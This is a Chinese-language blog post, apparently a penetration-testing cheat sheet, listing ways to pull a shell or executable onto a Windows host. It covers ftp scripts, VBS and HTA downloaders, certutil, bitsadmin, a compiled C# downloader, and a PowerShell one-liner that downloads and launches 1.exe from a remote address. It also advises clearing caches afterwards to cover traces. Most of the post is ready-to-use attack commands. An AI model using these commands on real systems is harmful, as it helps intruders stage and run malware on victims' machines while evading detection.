在上一篇文章中,提到了下载shell的一些姿势,我们这篇文章来深入探究下。
ftp
1echo open 192.168.1.1 21> ftp.txt
2echo ftp>> ftp.txt
3echo bin >> ftp.txt
4echo ftp>> ftp.txt
5echo GET 1.exe >> ftp.txt
6ftp -s:ftp.txt
需要搭建ftp服务器,初次使用ftp下载防火墙会弹框拦截,使用前记得要先添加防火墙规则
vbs
vbs downloader,使用msxml2.xmlhttp和adodb.stream对象
1Set Post = CreateObject("Msxml2.XMLHTTP")
2Set Shell = CreateObject("Wscript.Shell")
3Post.Open "GET","http://192.168.1.1/1.exe",0
4Post.Send()
5Set aGet = CreateObject("ADODB.Stream")
6aGet.Mode = 3
7aGet.Type = 1
8aGet.Open()
9aGet.Write(Post.responseBody)
10aGet.SaveToFile "C:\test\1.exe",2
powershell
1powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.1.1/1.exe','C:\test\1.exe');start-process 'C:\test\1.exe'
certutil
保存在当前路径,文件名称同URL
1certutil.exe -urlcache -split -f http://192.168.1.1/1.exe
保存在当前路径,指定保存文件名称
1certutil.exe -urlcache -split -f http://192.168.1.1/1.txt 1.php
使用downloader默认在缓存目录位置: %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
保存下载的文件副本
命令行删除缓存
1certutil.exe -urlcache -split -f http://192.168.1.1/1.exe delete
查看缓存项目:
1certutil.exe -urlcache *
csc
csc.exe是微软.NET Framework 中的C#编译器,Windows系统中默认包含,可在命令行下将cs文件编译成exe
download.cs
1using System.Net;
2namespace downloader
3{
4 class Program
5 {
6 static void Main(string[] args)
7 {
8 WebClient client = new WebClient();
9 string URLAddress = @"http://192.168.1.1/1.exe";
10 string receivePath = @"C:\test\";
11 client.DownloadFile(URLAddress, receivePath + System.IO.Path.GetFileName
12 (URLAddress));
13 }
14 }
15}
1C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /out:C:\tes
2t\download.exe C:\test\download.cs
hta
添加最小化和自动退出hta程序的功能,执行过程中会最小化hta窗口,下载文件结束后自动退出hta程序
将以下代码保存为hta文件
1<html>
2<head>
3<script>
4var Object = new ActiveXObject("MSXML2.XMLHTTP");
5Object.open("GET","http://192.168.1.1/1.exe",false);
6Object.send();
7if (Object.Status == 200)
8{
9 var Stream = new ActiveXObject("ADODB.Stream");
10 Stream.Open();
11 Stream.Type = 1;
12 Stream.Write(Object.ResponseBody);
13 Stream.SaveToFile("C:\\test\\1.exe", 2);
14 Stream.Close();
15}
16window.close();
17</script>
18<HTA:APPLICATION
19WINDOWSTATE = "minimize">
20</head>
21<body>
22</body>
23</html>
bitsadmin
bitsadmin是一个命令行工具,可用于创建下载或上传工作和监测其进展情况。xp以后的Windows系统自带
1bitsadmin /transfer n http://192.168.1.1/1.exe C:\test\update\1.exe
不支持https、ftp协议,php python带的服务器会出错
写在文后,推荐使用powershell或certutil,但是记得清理缓存。
评论